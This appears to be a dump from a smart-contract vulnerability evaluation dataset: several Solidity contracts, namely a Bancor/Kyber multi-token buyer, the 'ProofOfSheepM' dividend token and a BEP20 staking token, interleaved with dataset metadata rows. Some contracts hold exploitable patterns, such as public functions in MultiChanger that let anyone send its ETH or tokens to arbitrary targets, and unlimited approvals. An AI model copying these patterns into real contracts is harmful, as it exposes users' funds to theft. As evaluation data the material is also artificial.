function allBalances() public view returns(uint256[]);
function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]);
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public;
function bundle(address _beneficiary, uint256 _amount) public;
function unbundle(address _beneficiary, uint256 _value) public;
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public;
function denyBundling() public;
function allowBundling() public;
}
// File: contracts/interface/IMultiToken.sol
contract IMultiToken is IBasicMultiToken {
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount);
function allWeights() public view returns(uint256[] _weights);
function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights);
function denyChanges() public;
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token,
address from,
address to,
uint256 value)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
// File: contracts/registry/MultiChanger.sol
contract IBancorNetwork {
function convert(address[] _path,
uint256 _amount,
uint256 _minReturn)
public
payable
returns(uint256);
function claimAndConvert(address[] _path,
uint256 _amount,
uint256 _minReturn)
public
payable
returns(uint256);
}
contract IKyberNetworkProxy {
function trade(address src,
uint srcAmount,
address dest,
address destAddress,
uint maxDestAmount,
uint minConversionRate,
address walletId)
public
payable
returns(uint);
}
contract MultiChanger is CanReclaimToken {
using SafeMath for uint256;
// Source: https://github.com/gnosis/MultiSigWallet/blob/master/contracts/MultiSigWallet.sol
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function externalCall(address destination, uint value, bytes data, uint dataOffset, uint dataLength) internal returns (bool result) {
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
add(d, dataOffset),
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero)
}
}
function change(bytes _callDatas,
uint[] _starts // including 0 and LENGTH values)
internal
{
for (uint i = 0; i < _starts.length - 1; i++) {
require(externalCall(this, 0, _callDatas, _starts[i], _starts[i + 1] - _starts[i]));
}
}
function sendEthValue(address _target, bytes _data, uint256 _value) external {
require(_target.call.value(_value)(_data));
}
function sendEthProportion(address _target, bytes _data, uint256 _mul, uint256 _div) external {
uint256 value = address(this).balance.mul(_mul).div(_div);
require(_target.call.value(value)(_data));
}
function approveTokenAmount(address _target, bytes _data, ERC20 _fromToken, uint256 _amount) external {
if (_fromToken.allowance(this, _target) != 0) {
_fromToken.approve(_target, 0);
}
_fromToken.approve(_target, _amount);
require(_target.call(_data));
}
function approveTokenProportion(address _target, bytes _data, ERC20 _fromToken, uint256 _mul, uint256 _div) external {
uint256 amount = _fromToken.balanceOf(this).mul(_mul).div(_div);
if (_fromToken.allowance(this, _target) != 0) {
_fromToken.approve(_target, 0);
}
_fromToken.approve(_target, amount);
require(_target.call(_data));
}
function transferTokenAmount(address _target, bytes _data, ERC20 _fromToken, uint256 _amount) external {
_fromToken.transfer(_target, _amount);
require(_target.call(_data));
}
function transferTokenProportion(address _target, bytes _data, ERC20 _fromToken, uint256 _mul, uint256 _div) external {
uint256 amount = _fromToken.balanceOf(this).mul(_mul).div(_div);
_fromToken.transfer(_target, amount);
require(_target.call(_data));
}
// Bancor Network
function bancorSendEthValue(IBancorNetwork _bancor, address[] _path, uint256 _value) external {
_bancor.convert.value(_value)(_path, _value, 1);
}
function bancorSendEthProportion(IBancorNetwork _bancor, address[] _path, uint256 _mul, uint256 _div) external {
uint256 value = address(this).balance.mul(_mul).div(_div);
_bancor.convert.value(value)(_path, value, 1);
}
function bancorApproveTokenAmount(IBancorNetwork _bancor, address[] _path, uint256 _amount) external {
if (ERC20(_path[0]).allowance(this, _bancor) == 0) {
ERC20(_path[0]).approve(_bancor, uint256(-1));
}
_bancor.claimAndConvert(_path, _amount, 1);
}
function bancorApproveTokenProportion(IBancorNetwork _bancor, address[] _path, uint256 _mul, uint256 _div) external {
uint256 amount = ERC20(_path[0]).balanceOf(this).mul(_mul).div(_div);
if (ERC20(_path[0]).allowance(this, _bancor) == 0) {
ERC20(_path[0]).approve(_bancor, uint256(-1));
}
_bancor.claimAndConvert(_path, amount, 1);
}
function bancorTransferTokenAmount(IBancorNetwork _bancor, address[] _path, uint256 _amount) external {
ERC20(_path[0]).transfer(_bancor, _amount);
_bancor.convert(_path, _amount, 1);
}
function bancorTransferTokenProportion(IBancorNetwork _bancor, address[] _path, uint256 _mul, uint256 _div) external {
uint256 amount = ERC20(_path[0]).balanceOf(this).mul(_mul).div(_div);
ERC20(_path[0]).transfer(_bancor, amount);
_bancor.convert(_path, amount, 1);
}
function bancorAlreadyTransferedTokenAmount(IBancorNetwork _bancor, address[] _path, uint256 _amount) external {
_bancor.convert(_path, _amount, 1);
}
function bancorAlreadyTransferedTokenProportion(IBancorNetwork _bancor, address[] _path, uint256 _mul, uint256 _div) external {
uint256 amount = ERC20(_path[0]).balanceOf(_bancor).mul(_mul).div(_div);
_bancor.convert(_path, amount, 1);
}
// Kyber Network
function kyberSendEthProportion(IKyberNetworkProxy _kyber, ERC20 _fromToken, address _toToken, uint256 _mul, uint256 _div) external {
uint256 value = address(this).balance.mul(_mul).div(_div);
_kyber.trade.value(value)(_fromToken,
value,
_toToken,
this,
1 << 255,
0,
0);
}
function kyberApproveTokenAmount(IKyberNetworkProxy _kyber, ERC20 _fromToken, address _toToken, uint256 _amount) external {
if (_fromToken.allowance(this, _kyber) == 0) {
_fromToken.approve(_kyber, uint256(-1));
}
_kyber.trade(_fromToken,
_amount,
_toToken,
this,
1 << 255,
0,
0);
}
function kyberApproveTokenProportion(IKyberNetworkProxy _kyber, ERC20 _fromToken, address _toToken, uint256 _mul, uint256 _div) external {
uint256 amount = _fromToken.balanceOf(this).mul(_mul).div(_div);
this.kyberApproveTokenAmount(_kyber, _fromToken, _toToken, amount);
}
}
// File: contracts/registry/MultiBuyer.sol
contract MultiBuyer is MultiChanger {
function buy(IMultiToken _mtkn,
uint256 _minimumReturn,
bytes _callDatas,
uint[] _starts // including 0 and LENGTH values)
public
payable
{
change(_callDatas, _starts);
uint mtknTotalSupply = _mtkn.totalSupply(); // optimization totalSupply
uint256 bestAmount = uint256(-1);
for (uint i = _mtkn.tokensCount(); i > 0; i--) {
ERC20 token = _mtkn.tokens(i - 1);
if (token.allowance(this, _mtkn) == 0) {
token.approve(_mtkn, uint256(-1));
}
uint256 amount = mtknTotalSupply.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn));
if (amount < bestAmount) {
bestAmount = amount;
}
}
require(bestAmount >= _minimumReturn, "buy: return value is too low");
_mtkn.bundle(msg.sender, bestAmount);
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
for (i = _mtkn.tokensCount(); i > 0; i--) {
token = _mtkn.tokens(i - 1);
token.transfer(msg.sender, token.balanceOf(this));
}
}
function buyFirstTokens(IMultiToken _mtkn,
bytes _callDatas,
uint[] _starts // including 0 and LENGTH values)
public
payable
{
change(_callDatas, _starts);
uint tokensCount = _mtkn.tokensCount();
uint256[] memory amounts = new uint256[](tokensCount);
for (uint i = 0; i < tokensCount; i++) {
ERC20 token = _mtkn.tokens(i);
amounts[i] = token.balanceOf(this);
if (token.allowance(this, _mtkn) == 0) {
token.approve(_mtkn, uint256(-1));
}
}
_mtkn.bundleFirstTokens(msg.sender, msg.value.mul(1000), amounts);
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
for (i = _mtkn.tokensCount(); i > 0; i--) {
token = _mtkn.tokens(i - 1);
token.transfer(msg.sender, token.balanceOf(this));
}
}
}
| 216,371 | 10,550 |
ea56827e9eb780c643152ab402cdaa0356f76c00e197d944c6d69fadbd0389f7
| 23,863 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x20c6c51edfb707f8965bb7caafc77372978eff10.sol
| 4,382 | 17,134 |
pragma solidity ^0.4.20;
contract ProofOfSheepM {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> authorize a new administrator
// -> change how many tokens it costs to hold a masternode (fat chance!)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[keccak256(_customerAddress)]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier limitQuota(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti whale protocol
if((totalEthereumBalance() - _amountOfEthereum) <= quota_){
require(// does the customer purchase exceed the max quota?
(accumulatedQuota_[_customerAddress] + _amountOfEthereum) <= maxPurchase_);
// updated the accumulated quota
accumulatedQuota_[_customerAddress] = SafeMath.add(accumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
}else{
_;
}
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "ProofOfSheepM";
string public symbol = "POSM";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint8 constant internal bonusRate_ = 8;
uint256 constant internal tokenPriceInitial_ = 0.0000004 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens SIKE)
uint256 public stakingRequirement = 0;
// fair distribution program
mapping(address => bool) internal ambassadors_;
uint256 constant internal maxPurchase_ = 1 ether;
uint256 constant internal quota_ = 500 ether;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal accumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(bytes32 => bool) public administrators;
function ProofOfSheepM()
public
{
// add administrators here
administrators[keccak256(0x06abDaf5423Dc6828e33bcDe88a34A782C720667)] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
function withdraw()
onlyStronghands()
public
{
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transferred
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
limitQuota(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, bonusRate_);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// prevents overflow in the case POSM somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equation.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 214,442 | 10,551 |
117ef67481cf00d587cb7c12b3608019757ac37f88f76304201b59e4564b299e
| 30,515 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x41Bbc9DBF74Ea487c9c0815C8D6A78226F4296f3/contract.sol
| 5,009 | 18,903 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
interface IBOG20 {
function quickRundown(address account) external view returns (uint256);
function heBought(address account, uint256 amount) external;
function heSold(address account, uint256 amount) external;
function fundsAreSafu() external pure returns (bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract BEP20 is IBEP20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply = 0;
string internal _name;
string internal _symbol;
uint8 internal _decimals = 18;
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
}
abstract contract RecordsCreation {
uint256 public creationBlock;
uint256 public creationTimestamp;
constructor(){
creationBlock = block.number;
creationTimestamp = block.timestamp;
}
}
abstract contract Ownable {
constructor() { _owner = msg.sender; }
address payable _owner;
function isOwner(address account) public view returns (bool) {
return account == _owner;
}
modifier owned() {
require(isOwner(msg.sender)); _;
}
function renounceOwnership() public owned() {
transferOwnership(address(0));
}
function transferOwnership(address payable adr) public owned() {
_owner = adr;
}
}
interface IBogdabot {
function txHook(address caller, address sender, address receiver, uint256 amount) external;
}
abstract contract BogdabotController is Ownable {
struct BogdabotInfo {
bool bot;
uint256 adrIndex;
}
mapping (address => BogdabotInfo) _botsInfo;
address[] _bogdabots;
uint256 _bogdabotsCount;
function getBots() public view returns (address[] memory) {
return _bogdabots;
}
function getBotCount() public view returns (uint256) {
return _bogdabotsCount;
}
function isBot(address account) public view returns (bool) {
return _botsInfo[account].bot;
}
function addBogdabot(address bot) external owned {
require(isContract(bot));
_botsInfo[bot].bot = true;
_botsInfo[bot].adrIndex = _bogdabots.length;
_bogdabots.push(bot);
_bogdabotsCount++;
}
function removeBogdabot(address bot) external owned {
require(isBot(bot));
_botsInfo[bot].bot = false;
_bogdabotsCount--;
uint256 i = _botsInfo[bot].adrIndex; // gas savings
// swap in removed bot with last holder and then pop from end
_bogdabots[i] = _bogdabots[_bogdabots.length-1];
_botsInfo[_bogdabots[i]].adrIndex = i;
_bogdabots.pop();
}
function bogdabotTxHook(address sender, address receiver, uint256 amount) internal {
if(getBotCount() == 0){ return; }
for(uint256 i=0; i<_bogdabots.length; i++){
try IBogdabot(_bogdabots[i]).txHook(msg.sender, sender, receiver, amount) {} catch {}
}
}
function isContract(address addr) internal view returns (bool) {
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bytes32 codehash;
assembly {
codehash := extcodehash(addr)
}
return (codehash != 0x0 && codehash != accountHash);
}
}
abstract contract TracksHolders is Ownable {
struct Holding {
bool holding; // whether address is currently holding
uint256 adrIndex; // index of address in holders array
}
mapping (address => Holding) _holdings;
address[] _holders;
uint256 _holdersCount;
function getHolders() public view returns (address[] memory) {
return _holders;
}
function getHoldersCount() public view returns (uint256) {
return _holdersCount;
}
function isHolder(address holder) public view returns (bool) {
return _holdings[holder].holding;
}
function addHolder(address account) internal {
_holdings[account].holding = true;
_holdings[account].adrIndex = _holders.length;
_holders.push(account);
_holdersCount++;
}
function removeHolder(address account) internal {
_holdings[account].holding = false;
// saves gas
uint256 i = _holdings[account].adrIndex;
// remove holder from array by swapping in end holder
_holders[i] = _holders[_holders.length-1];
_holders.pop();
// update end holder index
_holdings[_holders[i]].adrIndex = i;
_holdersCount--;
}
}
interface IBogDistributive {
function getTotalStaked() external view returns (uint256);
function getTotalFees() external view returns (uint256);
function getStake(address staker) external view returns (uint256);
function getEarnings(address staker) external view returns (uint256);
function stake(uint256 amount) external;
function unstake(uint256 amount) external;
function getPairAddress() external view returns (address);
function forceUnstakeAll() external;
event Staked(address account, uint256 amount);
event Unstaked(address account, uint256 amount);
event FeesDistributed(address account, uint256 amount);
}
abstract contract BogDistributive is IBogDistributive, BEP20, Ownable, TracksHolders {
using SafeMath for uint256;
IBEP20 _pair;
bool _pairInitialized;
struct Stake {
uint256 LP; // Amount of LP tokens staked
uint256 excludedAmt; // Amount of staking rewards to exclude from returns (if claimed or staked after)
uint256 realised; // realised rewards
}
mapping (address => Stake) _stakes;
uint256 _totalLP;
uint256 _totalFees;
uint256 _totalRealised;
function getTotalStaked() external override view returns (uint256) {
return _totalLP;
}
function getTotalFees() external override view returns (uint256) {
return _totalFees;
}
function getStake(address account) public override view returns (uint256) {
return _stakes[account].LP;
}
function getEarnings(address staker) external override view returns (uint256) {
return _stakes[staker].realised.add(earnt(staker)); // realised gains plus outstanding earnings
}
function getUnrealisedEarnings(address staker) external view returns (uint256) {
return earnt(staker);
}
function stake(uint256 amount) external override pairInitialized {
_stake(msg.sender, amount);
}
function unstake(uint256 amount) external override pairInitialized {
_unstake(msg.sender, amount);
}
function getPairAddress() external view override returns (address) {
return address(_pair);
}
